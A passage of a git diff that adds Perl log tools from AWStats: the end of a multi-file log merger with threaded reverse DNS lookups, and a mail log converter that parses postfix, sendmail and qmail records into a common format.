s/\*/\.\*/g; + $ParamFile[$key] =~ s/\?/\./g; + if ($Debug) { debug("Search for file \"$ParamFile[$key]\" into \"$DirFile\""); } + opendir(DIR,"$DirFile"); + my @filearray = sort readdir DIR; + close DIR; + foreach my $i (0..$#filearray) { + if ("$filearray[$i]" =~ /^$ParamFile[$key]$/ && "$filearray[$i]" ne "." && "$filearray[$i]" ne "..") { + + if ($Debug) { debug("DBG2 Log file $filearray[$i] is added to LogFileToDo with number $cpt."); } + # Check for supported compression + if ($filearray[$i] =~ /$zcat_file/) { + if ($Debug) { debug("GZIP compression detected for Log file $filearray[$i]."); } + # Modify the name to include the zcat command + $LogFileToDo{$cpt}=$zcat . ' ' . "$DirFile/$filearray[$i]" . ' |'; + } + elsif ($filearray[$i] =~ /$bzcat_file/) { + if ($Debug) { debug("BZ2 compression detected for Log file $filearray[$i]."); } + # Modify the name to include the bzcat command + $LogFileToDo{$cpt}=$bzcat . ' ' . "$DirFile/$filearray[$i]" . ' |'; + } + else { + $LogFileToDo{$cpt}="$DirFile/$filearray[$i]"; + } + $cpt++; + + } + } + } +} + +# If no files to process +if (scalar keys %LogFileToDo == 0) { + error("No input log file found"); +} + +# Open all log files +if ($Debug) { debug("Start of processing ".(scalar keys %LogFileToDo)." log file(s), $MaxNbOfThread threads max"); } +foreach my $logfilenb (keys %LogFileToDo) { + if ($Debug) { debug("Open log file number $logfilenb: \"$LogFileToDo{$logfilenb}\""); } + if ($IgnoreMissing){ + if (!open("LOG$logfilenb","$LogFileToDo{$logfilenb}")){ + debug("Couldn't open log file \"$LogFileToDo{$logfilenb}\" : $!"); + delete $LogFileToDo{$logfilenb}; + } + }else{ + open("LOG$logfilenb","$LogFileToDo{$logfilenb}") || error("Couldn't open log file \"$LogFileToDo{$logfilenb}\" : $!"); + } + binmode "LOG$logfilenb"; # To avoid pb of corrupted text log files with binary chars. +} + +$QueueCursor=1; +STOPONFIRSTEOF: while (1 == 1) +{ + # BEGIN Read new record + # For each log file if logfilechosen is 0 + # If not, we go directly to log file instead of iterating over all keys for a match + #---------------------------------------------------------------------------------- + my @readlist; + if($logfilechosen == 0) { + @readlist = keys %LogFileToDo; + } else { + @readlist = ($logfilechosen); + } + foreach my $logfilenb (@readlist) + { + if ($Debug) { debug("Search next record in file number $logfilenb",3); } + # Read chosen log file until we found a record with good date or reaching end of file + while (1 == 1) { + my $LOG="LOG$logfilenb"; + $_=<$LOG>; # Read new line + if (! $_) + { # No more records in log file number $logfilenb + if ($Debug) { debug(" No more records in file number $logfilenb",2); } + delete $LogFileToDo{$logfilenb}; + if ($StopOnFirstEof) + { + if ($Debug) { debug("Exiting loop due to EOF of logfile $logfilenb",1); } + last STOPONFIRSTEOF; + } + last; + } + + # Get the latest Fields header for printing IIS and W3C logs + if ($PrintFields && $_ =~ m/#Fields:/){ + my $field = $_; + # strip whitespace + $field =~ s/^\s+|\s+$//g; + if (!$Fields[$logfilenb] || $field != $Fields[$logfilenb]){ + $Fields[$logfilenb] = $field; + debug("Found new fields in $logfilenb: $Fields[$logfilenb]"); + } + } + + $NbOfLinesRead++; + chomp $_; s/\r$//; + + if (/^#/) { next; } # Ignore comment lines (ISS writes such comments) + if (/^!!/) { next; } # Ignore comment lines (Webstar writes such comments) + if (/^$/) { next; } # Ignore blank lines (With ISS: happens sometimes, with Apache: possible when editing log file) + + $linerecord{$logfilenb}=$_; + + # Check filters + #---------------------------------------------------------------------- + + # Split YYYY-MM-DD HH:MM:SS + # or DD/Month/YYYY:HH:MM:SS + # or MM/DD/YY\tHH:MM:SS + # or 9999.999 + # or Month DD HH:MM:SS + my $year=0; my $month=0; my $day=0; my $hour=0; my $minute=0; my $second=0; + if ($_ =~ /(\d\d\d\d)-(\d\d)-(\d\d)\s(\d\d):(\d\d):(\d\d)/) { $year=$1; $month=$2; $day=$3; $hour=$4; $minute=$5; $second=$6; } + elsif ($_ =~ /\[(\d?\d)[\/:\s](\w+)[\/:\s](\d\d\d\d)[\/:\s](\d\d)[\/:\s](\d\d)[\/:\s](\d\d) /) { $year=$3; $month=$2; $day=$1; $hour=$4; $minute=$5; $second=$6; } + elsif ($_ =~ /\w+ (\w+) {1,2}(\d?\d) (\d\d)[\/:\s](\d\d)[\/:\s](\d\d) (\d\d\d\d)/) { $year=$6; $month=$1; $day=$2; $hour=$3; $minute=$4; $second=$5; } + elsif ($_ =~ /^(\d\d\d\d+\.\d\d\d) /) + { + my $timetime = strftime('%Y-%m-%d-%T', gmtime($1)); + $timetime =~ /(\d\d\d\d)-(\d\d)-(\d\d)-(\d\d):(\d\d):(\d\d)/; + $year=$1; $month=$2; $day=$3; $hour=$4; $minute=$5; $second=$6; + } + elsif ($_ =~ /(\w+)\s\s?(\d?\d) (\d\d):(\d\d):(\d\d) /) { # Month DD HH:MM:SS + $month=$1; $day=$2; $hour=$3; $minute=$4; $second=$5; + if (($monthnum{$month}>$monthnum{$nowmonth}) || ($monthnum{$month}==$monthnum{$nowmonth} && $day>$nowday)) { + $year=$nowyear-1; + } + else { $year=$nowyear; } + } + if (length $day == 1) { $day = "0".$day; } + + if ($monthnum{$month}) { $month=$monthnum{$month}; } # Change lib month in num month if necessary + + # Create $timerecord like YYYYMMDDHHMMSS + $timerecord{$logfilenb}=int("$year$month$day$hour$minute$second"); + if ($timerecord{$logfilenb}<10000000000000) { + if ($Debug) { debug(" This record is corrupted (no date found)",3); } + $corrupted{$logfilenb}++; + next; + } + if ($Debug) { debug(" This is next record for file $logfilenb : timerecord=$timerecord{$logfilenb}",3); } + + # Sort and insert into timerecordorder, oldest at end/back of array + # At the beginning, timerecordorder is empty. Then beceause the first pass is + # a loop on each file to read each first line, the timerecordorder size is + # number of input files. + # After, each new loop, read only one new line, so timerecordorder size increase + # by one but decrease just after by the pop command later. + my $inserted=0; + for(my $c=$#timerecordorder; $c>=0 ; $c--) { + if($timerecord{$logfilenb} <= $timerecord{$timerecordorder[$c]}) + { + # Is older or equal than index at $c, add after + $timerecordorder[$c + 1]=$logfilenb; + $inserted = 1; + last; + } else { + $timerecordorder[$c + 1]=$timerecordorder[$c]; + } + } + if(! $inserted) { + $timerecordorder[0] = $logfilenb; + } + + last; + } + } + # END Read new lines for each log file. After this, following var are filled + # $timerecord{$logfilenb} + # @timerecordorder array + + # We choose which record of which log file to process + if ($Debug) { debug("Choose which record of which log file to process",3); } + $logfilechosen=pop(@timerecordorder); + if(!defined($logfilechosen)) { last; } # No more record to process + + # Record is chosen + if ($Debug) { debug(" We choosed to qualify record of file number $logfilechosen",3); } + if ($Debug) { debug(" Record is $linerecord{$logfilechosen}",3); } + + # Record is approved. We found a new line to parse in file number $logfilechosen + #------------------------------------------------------------------------------- + $NbOfLinesParsed++; + if ($ShowSteps) { + if ((++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK) == 0) { + my $delay=(time()-$starttime)||1; + print STDERR "$NbOfLinesParsed lines processed (".(1000*$delay)." ms, ".int($NbOfLinesShowsteps/$delay)." lines/seconds)\n"; + } + } + + # Do DNS lookup + #-------------------- + my $Host=''; + my $ip=0; + if ($DNSLookup) { # DNS lookup is 1 or 2 + if ($linerecord{$logfilechosen} =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { $ip=4; $Host=$1; } # IPv4 + elsif ($linerecord{$logfilechosen} =~ /([0-9A-F]*:)/i) { $ip=6; $Host=$1; } # IPv6 + if ($ip) { + # Check in static DNS cache file + if ($MyDNSTable{$Host}) { + if ($Debug) { debug(" DNS lookup asked for $Host and found in static DNS cache file: $MyDNSTable{$Host}",4); } + } + elsif ($DNSLookup==1) { + # Check in session cache (dynamic DNS cache file + session DNS cache) + if (! $threadarray{$Host} && ! $TmpDNSLookup{$Host}) { + if (@SkipDNSLookupFor && &SkipDNSLookup($Host)) { + $TmpDNSLookup{$Host}='*'; + if ($Debug) { debug(" No need of reverse DNS lookup for $Host, skipped at user request.",4); } + } + else { + if ($ip == 4) { + # Create or not a new thread + if ($MaxNbOfThread) { + if (! $threadarray{$Host}) { # No thread already launched for $Host + while ((scalar keys %threadarray) >= $MaxNbOfThread) { + if ($Debug) { debug(" $MaxNbOfThread thread running reached, so we wait",4); } + sleep 1; + } + $threadarray{$Host}=1; # Semaphore to tell thread for $Host is active +# my $t = new Thread \&MakeDNSLookup, $Host; + my $t = threads->create(sub { MakeDNSLookup($Host) }); + if (! $t) { error("Failed to create new thread"); } + if ($Debug) { debug(" Reverse DNS lookup for $Host queued in thread ".$t->tid,4); } + $t->detach(); # We don't need to keep return code + } + else { + if ($Debug) { debug(" Reverse DNS lookup for $Host already queued in a thread"); } + } + # Here, this is the only way, $TmpDNSLookup{$Host} can be not defined + } else { + &MakeDNSLookup($Host); + if ($Debug) { debug(" Reverse DNS lookup for $Host done: $TmpDNSLookup{$Host}",4); } + } + } + elsif ($ip == 6) { + $TmpDNSLookup{$Host}='*'; + if ($Debug) { debug(" Reverse DNS lookup for $Host not available for IPv6",4); } + } + } + } else { + if ($Debug) { debug(" Reverse DNS lookup already queued or done for $Host: $TmpDNSLookup{$Host}",4); } + } + } + else { + if ($Debug) { debug(" DNS lookup by static DNS cache file asked for $Host but not found.",4); } + } + } + else { + if ($Debug) { debug(" DNS lookup asked for $Host but this is not an IP address.",4); } + $DNSLookupAlreadyDone=$LogFileToDo{$logfilechosen}; + } + } + else { + if ($linerecord{$logfilechosen} =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { $ip=4; $Host=$1; } # IPv4 + elsif ($linerecord{$logfilechosen} =~ /([0-9A-F]*:)/i) { $ip=6; $Host=$1; } # IPv6 + if ($Debug) { debug(" No DNS lookup asked.",4); } + } + + # Put record in record queue + if ($Debug) { debug("Add record $NbOfLinesParsed in record queue (with host to resolve = ".($Host?$Host:'*').")",4); } + $QueueRecords{$NbOfLinesParsed}=$linerecord{$logfilechosen}; + + # Put record in host queue + # If there is a host to resolve, we add line to queue with value of host to resolve + # $Host is '' (no ip found) or is ip + if ($DNSLookup==0) { + $QueueHostsToResolve{$NbOfLinesParsed}='*'; + } + if ($DNSLookup==1) { + $QueueHostsToResolve{$NbOfLinesParsed}=$Host?$Host:'*'; + } + if ($DNSLookup==2) { + $QueueHostsToResolve{$NbOfLinesParsed}=$MyDNSTable{$Host}?$Host:'*'; + } + + # Print all records in head of queue that are ready + &WriteRecordsReadyInQueue($logfilechosen); + +} # End of processing new record. Loop on next one. + +if ($Debug) { debug("End of processing log file(s)"); } + +# Close all log files +foreach my $logfilenb (keys %LogFileToDo) { + if ($Debug) { debug("Close log file number $logfilenb"); } + close("LOG$logfilenb") || error("Command for pipe '$LogFileToDo{$logfilenb}' failed"); +} + +while ( $QueueHostsToResolve{$QueueCursor} && $QueueHostsToResolve{$QueueCursor} ne '*' && ! $MyDNSTable{$QueueHostsToResolve{$QueueCursor}} && ! $TmpDNSLookup{$QueueHostsToResolve{$QueueCursor}} ) { + sleep 1; + # Print all records in head of queue that are ready + &WriteRecordsReadyInQueue($logfilechosen); +} + +# Waiting queue is empty +if ($MaxNbOfThread) { + foreach my $t (threads->list()) { + if ($Debug) { debug("Join thread $t"); } + $t->join(); + } +} + +# DNSLookup warning +if ($DNSLookup==1 && $DNSLookupAlreadyDone) { + warning("Warning: $PROG has detected that some host names were already resolved in your logfile $DNSLookupAlreadyDone.\nIf DNS lookup was already made by the logger (web server) in ALL your log files, you should not use -dnslookup option to increase $PROG speed."); +} + +if ($Debug) { + debug("Total nb of read lines: $NbOfLinesRead"); + debug("Total nb of parsed lines: $NbOfLinesParsed"); + debug("Total nb of DNS lookup asked: $NbOfDNSLookupAsked"); +} + +#if ($DNSCache) { +# open(CACHE, ">$DNSCache") or die; +# foreach (keys %TmpDNSLookup) { +# $TmpDNSLookup{$_}="*" if $TmpDNSLookup{$_} eq "ip"; +# print CACHE "0\t$_\t$TmpDNSLookup{$_}\n"; +# } +# close CACHE; +#} + +0; # Do not remove this line diff --git a/src/main/webapp/monitoramento/tools/maillogconvert.pl b/src/main/webapp/monitoramento/tools/maillogconvert.pl new file mode 100644 index 0000000..b924b96 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/maillogconvert.pl @@ -0,0 +1,679 @@ +#!/usr/bin/perl +#------------------------------------------------------- +# Convert a mail log file to a common log file for analyzing with any log +# analyzer. +#------------------------------------------------------- +# Tool built from original work of Odd-Jarle Kristoffersen +# Note 1: QMail must log in syslog format for timestamps to work. +# Note 2: QMail logging is not 100% accurate. Some messages might +# not be logged correctly or completely. +# +# A mail received to 2 different receivers, report 2 records. +# A mail received to a forwarded account is reported as to the original receiver, not the "forwarded to". +# A mail locally sent to a local alias is reported as n mails to all addresses of alias. +#------------------------------------------------------- +use strict;no strict "refs"; + + +#------------------------------------------------------- +# Defines +#------------------------------------------------------- +use vars qw/ $REVISION $VERSION /; +$REVISION='$Revision: 1.35 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +$VERSION="1.2 (build $REVISION)"; + +use vars qw/ +$DIR $PROG $Extension +$Debug +%mail %qmaildelivery +$help +$mode $year $lastmon $Debug +$NBOFENTRYFOFLUSH +$MailType +%MonthNum +/; +$Debug=0; +$NBOFENTRYFOFLUSH=16384; # Nb or records for flush of %entry (Must be a power of 2) +$MailType=''; # Mail server family (postfix, sendmail, qmail) +%MonthNum = ( +'Jan'=>1, +'Feb'=>2, +'Mar'=>3, +'Apr'=>4, +'May'=>5, +'Jun'=>6, +'Jul'=>7, +'Aug'=>8, +'Sep'=>9, +'Oct'=>10, +'Nov'=>11, +'Dec'=>12 +); + + +#------------------------------------------------------- +# Functions +#------------------------------------------------------- + +sub error { + print "Error: $_[0].\n"; + exit 1; +} + +sub debug { + my $level = $_[1] || 1; + if ($Debug >= $level) { + my $debugstring = $_[0]; + if ($ENV{"GATEWAY_INTERFACE"}) { $debugstring =~ s/^ /   /; $debugstring .= "<br />"; } + print localtime(time)." - DEBUG $level - $. - : $debugstring\n"; + } + 0; +} + +sub CleanVadminUser { $_=shift||''; + s/[#<|>\[\]]//g; # Remove unwanted characters first + s/^(.*?)-//gi; # Strip off unixuser- at beginning + return $_; +} + +sub CleanEmail { $_=shift||''; + s/[#<|>\[\]]//g; # Remove unwanted characters first + return $_; +} + +# Clean host addresses +# Input: "servername[123.123.123.123]", "servername [123.123.123.123]" +# "root@servername", "[123.123.123.123]" +# Return: servername or 123.123.123.123 if servername is 'unknown' +sub CleanHost { + $_=shift||''; + if (/^\[(.*)\]$/) { $_=$1; } # If [ip] we keep ip + if (/^unknown\s*\[/) { $_ =~ /\[(.*)\]/; $_=$1; } # If unknown [ip], we keep ip + else { $_ =~ s/\s*\[.*$//; } + $_ =~ s/^.*\@//; # If x@y, we keep y + return $_; +} + +# Return domain +# Input: host.domain.com, <user@domain.com>, <> +# +sub CleanDomain { $_=shift; + s/>.*$//; s/[<>]//g; + s/^.*@//; + if (! $_) { $_ = 'localhost'; } + return $_; +} + +# Return string without starting and ending space +# +sub trim { $_=shift; + s/^\s+//; s/\s+$//; + return $_; +} + +# Write a record +# +sub OutputRecord { + my $year=shift; + my $month=shift; # Jan,Feb,... or 1,2,3... + my $day=shift; + my $time=shift; + my $from=shift; + my $to=shift; + my $relay_s=shift; + my $relay_r=shift; + my $code=shift; + my $size=shift||0; + my $forwardto=shift; + my $extinfo=shift||'-'; + + # Clean day and month + $day=sprintf("%02d",$day); + $month=sprintf("%02d",$MonthNum{$month}||$month); + + # Clean from + $from=&CleanEmail($from); + $from||='<>'; + + # Clean to + if ($mode eq 'vadmin') { $to=&CleanVadminUser($to); } + else { $to=&CleanEmail($to); } + $to||='<>'; + + # Clean relay_s + $relay_s=&CleanHost($relay_s); + $relay_s||=&CleanDomain($from); + $relay_s=~s/\.$//; + if ($relay_s eq 'local' || $relay_s eq 'localhost.localdomain') { $relay_s='localhost'; } + + # Clean relay_r + $relay_r=&CleanHost($relay_r); + $relay_r||="-"; + $relay_r=~s/\.$//; + if ($relay_r eq 'local' || $relay_r eq 'localhost.localdomain') { $relay_r='localhost'; } + #if we don't have info for relay_s, we keep it unknown, awstats might then guess it + + # Write line + print "$year-$month-$day $time $from $to $relay_s $relay_r SMTP $extinfo $code $size\n"; + + # If there was a redirect + if ($forwardto) { + # Redirect to local address + # TODO + # Redirect to external address + # TODO + } +} + + + +#------------------------------------------------------- +# MAIN +#------------------------------------------------------- + +# Prepare QueryString +my %param=(); +for (0..@ARGV-1) { $param{$_}=$ARGV[$_]; } +foreach my $key (sort keys %param) { + if ($param{$key} =~ /(^|-|&)debug=([^&]+)/i) { $Debug=$2; shift; next; } + if ($param{$key} =~ /^(\d+)$/) { $year=$1; shift; next; } + if ($param{$key} =~ /^(standard|vadmin)$/i) { $mode=$1; shift; next; } +} +if ($mode ne 'standard' and $mode ne 'vadmin') { $help = 1; } + +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; + +my $starttime=time(); +my ($nowsec,$nowmin,$nowhour,$nowday,$nowmonth,$nowyear,$nowwday,$nowyday) = localtime($starttime); +$year||=($nowyear+1900); + +# Show usage help +if ($help) { + print "----- $PROG $VERSION -----\n"; + print <<HELPTEXT; +$PROG is mail log preprocessor that convert a mail log file (from +postfix, sendmail or qmail servers) into a human readable format. +The output format is also ready to be used by a log analyzer, like AWStats. + +Usage: + perl maillogconvert.pl [standard|vadmin] [year] < logfile > output + +The first parameter specifies what format the mail logfile is : + standard - logfile is standard postfix,sendmail,qmail or mdaemon log format + vadmin - logfile is qmail log format with vadmin multi-host support + +The second parameter specifies what year to timestamp logfile with, if current +year is not the correct one (ie. 2002). Always use 4 digits. If not specified, +current year is used. + +If no output is specified, it goes to the console (stdout). + +HELPTEXT + sleep 1; + exit; +} + +# +# Start Processing Input Logfile +# +$lastmon=0; +my $numrecord=0; +my $numrecordforflush=0; +while (<>) { + chomp $_; s/\r//; + $numrecord++; + $numrecordforflush++; + + my $mailid=0; + + if (/^__BREAKPOINT__/) { last; } # For debug only + + ### <CJK> ### + my ($mon)=m/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s/; + if ($mon) { + $mon = $MonthNum{$mon}; + if ($mon==12 && $lastmon==1 ){$year--;} + if ($mon==1 && $lastmon==12){$year++;} + $lastmon=$mon; + } + ### </CJK> ### + + if (/^#/) { + debug("Comment record"); + next; + } + + # + # Get sender host for postfix + # + elsif (/: client=/) { + $MailType||='postfix'; + # Example: + # postfix: Jan 01 07:27:32 apollon.com postfix/smtpd[1684]: 2BC793B8A4: client=remt30.cluster1.abcde.net[209.225.8.40] + my ($id,$relay_s)=m/\w+\s+\d+\s+\d+:\d+:\d+\s+[\w\-\.\@]+\s+(?:sendmail|postfix\/(?:local|lmtp|smtpd|smtp|virtual|pipe))\[\d+\]:\s+(.*?):\s+client=(.*)/; + $mailid=$id; + $mail{$id}{'relay_s'}=$relay_s; + debug("For id=$id, found host sender on a 'client' line: $mail{$id}{'relay_s'}"); + } + + # + # See if we received postfix email reject error + # + elsif (/: reject/) { + $MailType||='postfix'; + # Example: + # postfix ?.? : Jan 01 12:00:00 halley postfix/smtpd[9245]: reject: RCPT from unknown[203.156.32.33]: 554 <userx@yahoo.com>: Recipient address rejected: Relay access denied; from=<sender@aol.com> to=<userx@yahoo.com> + # postfix 2.1+: Jan 01 12:00:00 localhost postfix/smtpd[11120]: NOQUEUE: reject: RCPT from unknown[62.205.124.145]: 450 Client host rejected: cannot find your hostname, [62.205.124.145]; from=<sender@msn.com> to=<usery@yahoo.com> proto=ESMTP helo=<xxx.com> + # postfix ?.? : Jan 01 12:00:00 apollon postfix/smtpd[26553]: 1954F3B8A4: reject: RCPT from unknown[80.245.33.2]: 450 <usery@yahoo.com>: User unknown in local recipient table; from=<sender@msn.com> to=<usery@yahoo.com> proto=ESMTP helo=<xxx.com> + my ($mon,$day,$time,$id,$code,$from,$to)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:postfix\/(?:local|lmtp|smtpd|smtp|virtual|pipe))\[\d+\]:\s+(.*?):\s+(.*)\s+from=([^\s,]*)\s+to=([^\s,]*)/; + # postfix: Jan 01 14:10:16 juni postfix/smtpd[2568]: C34ED1432B: reject: RCPT from relay2.tp2rc.edu.tw[163.28.32.177]: 450 <linda@trieger.org>: User unknown in local recipient table; from=<> proto=ESMTP helo=<rmail.nccu.edu.tw> + if (! $mon) { ($mon,$day,$time,$id,$code,$from)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:postfix\/(?:local|lmtp|smtpd|smtp|virtual|pipe))\[\d+\]:\s+(.*?):\s+(.*)\s+from=([^\s,]*)/; } + $mailid=($id eq 'reject' || $id eq 'NOQUEUE'?'999':$id); # id not provided in log, we take '999' + if ($mailid) { + # $code='reject: RCPT from unknown[203.156.32.33]: 554 <userx@yahoo.com>: Recipient address rejected: Relay access denied;' + # or 'reject: RCPT from unknown[62.205.124.145]: 450 Client host rejected: cannot find your hostname, [62.205.124.145]; from=<sender@msn.com> to=<usery@yahoo.com> proto=ESMTP helo=<xxx.com>' + # or 'reject: RCPT from unknown[80.245.33.2]: 450 <usery@yahoo.com>: User unknown in local recipient table;' + if ($code =~ /\s+(\d\d\d)\s+/) { $mail{$mailid}{'code'}=$1; } + else { $mail{$mailid}{'code'}=999; } # Unkown error + if (! $mail{$mailid}{'relay_s'} && $code =~ /from\s+([^\s]+)\s+/) { + $mail{$mailid}{'relay_s'}=&trim($1); + } + $mail{$mailid}{'from'}=&trim($from); + if ($to) { + $mail{$mailid}{'to'}=&trim($to); + } + elsif ($code =~ /<(.*)>/) { + $mail{$mailid}{'to'}=&trim($1); + } + $mail{$mailid}{'year'}=$year; ### <CJK>### + $mail{$mailid}{'mon'}=$mon; + $mail{$mailid}{'day'}=$day; + $mail{$mailid}{'time'}=$time; + if (! defined($mail{$mailid}{'size'})) { $mail{$mailid}{'size'}='?'; } + debug("For id=$mailid, found a postfix error incoming message: code=$mail{$mailid}{'code'} from=$mail{$mailid}{'from'} to=$mail{$mailid}{'to'} time=$mail{$mailid}{'time'}"); + } + } + # + # See if we received postfix email bounced error + # + elsif (/stat(us)?=bounced/) { + $MailType||='postfix'; + # Example: + # postfix: Sep 9 18:24:23 halley postfix/local[22003]: 12C6413EC9: to=<etavidian@partenor.com>, relay=local, delay=0, status=bounced (unknown user: "etavidian") + my ($mon,$day,$time,$id,$to,$relay_r)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:postfix\/(?:local|lmtp|smtpd|smtp|virtual|pipe))\[\d+\]:\s+(.*?):\s+to=([^\s,]*)[\s,]+relay=([^\s,]*)/; + $mailid=($id eq 'reject'?'999':$id); # id not provided in log, we take '999' + if ($mailid) { + $mail{$mailid}{'code'}=999; # Unkown error (bounced) + $mail{$mailid}{'to'}=&trim($to); + $mail{$mailid}{'relay_r'}=&trim($relay_r); + $mail{$mailid}{'year'}=$year; ### <CJK>### + $mail{$mailid}{'mon'}=$mon; + $mail{$mailid}{'day'}=$day; + $mail{$mailid}{'time'}=$time; + if (! defined($mail{$mailid}{'size'})) { $mail{$mailid}{'size'}='?'; } + debug("For id=$mailid, found a postfix bounced incoming message: code=$mail{$mailid}{'code'} to=$mail{$mailid}{'to'} relay_r=$mail{$mailid}{'relay_r'}"); + } + } + # + # See if we received sendmail reject error + # + elsif (/, reject/) { + $MailType||='sendmail'; + # Example: + # sm-mta: Jul 27 04:06:05 androneda sm-mta[6641]: h6RB44tg006641: ruleset=check_mail, arg1=<7ms93d4ms@topprodsource.com>, relay=crelay1.easydns.com [216.220.57.222], reject=451 4.1.8 Domain of sender address 7ms93d4ms@topprodsource.com does not resolve + # sm-mta: Jul 27 06:21:24 androneda sm-mta[11461]: h6RDLNtg011461: ruleset=check_rcpt, arg1=<nobody@nova.dice.net>, relay=freedom.myhostdns.com [66.246.77.42], reject=550 5.7.1 <nobody@nova.dice.net>... Relaying denied + # sendmail: Sep 30 04:21:32 halley sendmail[3161]: g8U2LVi03161: ruleset=check_rcpt, arg1=<amber3624@netzero.net>, relay=moon.partenor.fr [10.0.0.254], reject=550 5.7.1 <amber3624@netzero.net>... Relaying denied + + # sendmail: Jan 10 07:37:48 smtp sendmail[32440]: ruleset=check_relay, arg1=[211.228.26.114], arg2=211.228.26.114, relay=[211.228.26.114], reject=554 5.7.1 Rejected 211.228.26.114 found in dnsbl.sorbs.net + # sendmail: Jan 10 07:37:08 smtp sendmail[32439]: ruleset=check_relay, arg1=235.Red-213-97-175.pooles.rima-tde.net, arg2=213.97.175.235, relay=235.Red-213-97-175.pooles.rima-tde.net [213.97.175.235], reject=550 5.7.1 Mail from 213.97.175.235 refused. Rejected for bad WHOIS info on IP of your SMTP server - see http://www.rfc-ignorant.org/ + # sendmail: Jan 10 17:15:42 smtp sendmail[12770]: ruleset=check_relay, arg1=[63.218.84.21], arg2=63.218.84.21, relay=[63.218.84.21], reject=553 5.3.0 Rejected - see http://spamhaus.org/ + my ($mon,$day,$time,$id,$ruleset,$arg,$relay_s,$code)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:sendmail|sm-mta)\[\d+\][:\s]*(.*?):\sruleset=(\w+),\s+arg1=(.*),\s+relay=(.*),\s+(reject=.*)/; + # sendmail: Jan 10 18:00:34 smtp sendmail[5759]: i04Axx2c005759: Milter: data, reject=511 Virus found in email! + if (! $mon) { ($mon,$day,$time,$id,$ruleset,$code)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:sendmail|sm-mta)\[\d+\]:\s+(.*?):\s\w+:\s(\w+),\s+(reject=.*)/; } + $mailid=(! $id && $mon?'999':$id); # id not provided in log, we take '999' + if ($mailid) { + if ($ruleset eq 'check_mail') { $mail{$mailid}{'from'}=$arg; } + if ($ruleset eq 'check_rcpt') { $mail{$mailid}{'to'}=$arg; } + if ($ruleset eq 'check_relay') { } + if ($ruleset eq 'data') { } + $mail{$mailid}{'relay_s'}=$relay_s; + # $code='reject=550 5.7.1 <amber3624@netzero.net>... Relaying denied' + if ($code =~ /=(\d\d\d)\s+/) { $mail{$mailid}{'code'}=$1; } + else { $mail{$mailid}{'code'}=999; } # Unkown error + $mail{$mailid}{'year'}=$year; ### <CJK>### + $mail{$mailid}{'mon'}=$mon; + $mail{$mailid}{'day'}=$day; + $mail{$mailid}{'time'}=$time; + if (! defined($mail{$mailid}{'size'})) { $mail{$mailid}{'size'}='?'; } + debug("For id=$mailid, found a sendmail error incoming message: code=$mail{$mailid}{'code'} from=$mail{$mailid}{'from'} to=$mail{$mailid}{'to'} relay_s=$mail{$mailid}{'relay_s'}"); + } + } + + # + # See if we send a sendmail (with ctladdr tag) email + # + elsif (/, ctladdr=/) { + $MailType||='sendmail'; + # + # Matched outgoing sendmail/postfix message + # + my ($mon,$day,$time,$id,$to,$fromorto)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:sm-mta|sendmail(?:-out|)|postfix\/(?:local|lmtp|smtpd|smtp|virtual|pipe))\[.*?\]:\s+([^:]*):\s+to=(.*?)[,\s]+ctladdr=([^\,\s]*)/; + $mailid=$id; + if (m/\s+relay=([^\s,]*)[\s,]/) { $mail{$id}{'relay_r'}=$1; } + elsif (m/\s+mailer=local/) { $mail{$id}{'relay_r'}='localhost'; } + if (/, stat\=Sent/) { $mail{$id}{'code'}=1; } + elsif (/, stat\=User\s+unknown/) { $mail{$id}{'code'}=550; } + elsif (/, stat\=Local\s+configuration/) { $mail{$id}{'code'}=451; } + elsif (/, stat\=Deferred:\s+(\d*)/) { $mail{$id}{'code'}=$1; } + else { $mail{$id}{'code'}=999; } + $mail{$mailid}{'year'}=$year; ### <CJK>### + $mail{$id}{'mon'}=$mon; + $mail{$id}{'day'}=$day; + $mail{$id}{'time'}=$time; + if (&trim($to)=~/^\|/) { + # In particular case of mails are sent to a pipe, the ctladdr contains the to + $mail{$id}{'to'}=&trim($fromorto); + } else { + # In most cases + $mail{$id}{'to'}=&trim($to); + $mail{$id}{'from'}=&trim($fromorto); + } + if (! defined($mail{$id}{'size'})) { $mail{$id}{'size'}='?'; } + debug("For id=$id, found a sendmail outgoing message: to=$mail{$id}{'to'} from=$mail{$id}{'from'} size=$mail{$id}{'size'} relay_r=".($mail{$id}{'relay_r'}||'')); + } + + # + # Matched incoming qmail message + # + elsif (/info msg .* from/) { + # Example: Sep 14 09:58:09 gandalf qmail: 1063526289.292776 info msg 270182: bytes 10712 from <john@john.do> qp 54945 uid 82 + $MailType||='qmail'; + #my ($id,$size,$from)=m/info msg \d+: bytes (\d+) from <(.*)>/; + my ($id,$size,$from)=m/info msg (\d+): bytes (\d+) from <(.*)>/; + $mailid=$id; + delete $mail{$mailid}; # If 'info msg' found, we start a new mail. This is to protect from wrong file + if (! $mail{$id}{'from'} || $mail{$id}{'from'} ne '<>') { $mail{$id}{'from'}=$from; } # TODO ??? + $mail{$id}{'size'}=$size; + if (m/\s+relay=([^\,]+)[\s\,]/ || m/\s+relay=([^\s\,]+)$/) { $mail{$id}{'relay_s'}=$1; } + debug("For id=$id, found a qmail 'info msg' message: from=$mail{$id}{'from'} size=$mail{$id}{'size'}"); + } + + # + # Matched incoming sendmail or postfix message + # + elsif (/: from=/) { + # sm-mta: Jul 28 06:55:13 androneda sm-mta[28877]: h6SDtCtg028877: from=<xxx@mysite.net>, size=2556, class=0, nrcpts=1, msgid=<w1$kqj-9-o2m45@0h2i38.4.m0.5u>, proto=ESMTP, daemon=MTA, relay=smtp.easydns.com 